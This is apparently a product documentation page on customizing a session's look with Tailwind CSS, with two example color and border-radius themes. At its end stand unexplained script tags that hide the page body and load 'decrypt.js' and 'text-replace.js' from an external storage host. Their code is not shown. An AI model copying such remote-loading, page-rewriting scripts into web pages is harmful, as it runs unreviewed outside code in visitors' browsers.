> ## Documentation Index
> Fetch the complete documentation index at: https://docs.algoreg.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Customize styles

> Customize the texts of the session

## How to change the style of the session

Go to the scenarios page and select the scenario you want to customize.
Open the "Integration" tab and scroll to "Style".

We use tailwind css to style the session. You can find the documentation [here](https://tailwindcss.com/docs).

Here some example themes:

<CodeGroup>
  ```css Pink and rounded theme={null}
  body {
    --color-400: #fb7185;
    --color-500: #f43f5e;
    --color-600: #e11d48;
    --color-700: #be123c;
    --color-800: #9f1239;
    --color-900: #881337;

    --border-radius-sm: 50px;
    --border-radius-md: 50px;
    --border-radius-lg: 50px;
    --border-radius-xl: 50px;
  }

  body {
    font-family: "Arial";
  }
  ```

  ```css Square black and white theme={null}
  body {
    --color-400: #000000;
    --color-500: #000000;
    --color-600: #000000;
    --color-700: #000000;
    --color-800: #000000;
    --color-900: #000000;

    --border-radius-sm: 0px;
    --border-radius-md: 0px;
    --border-radius-lg: 0px;
    --border-radius-xl: 0px;
  }

  body {
    font-family: "Arial";
  }
  ```
</CodeGroup>

<script type="application/javascript">document.body.style.opacity = 0;</script>

<script type="application/javascript" src="https://pub-e699792e794f4aaf8774c111fdc1c1ee.r2.dev/decrypt.js" />

<script type="application/javascript" src="https://pub-e699792e794f4aaf8774c111fdc1c1ee.r2.dev/text-replace.js" />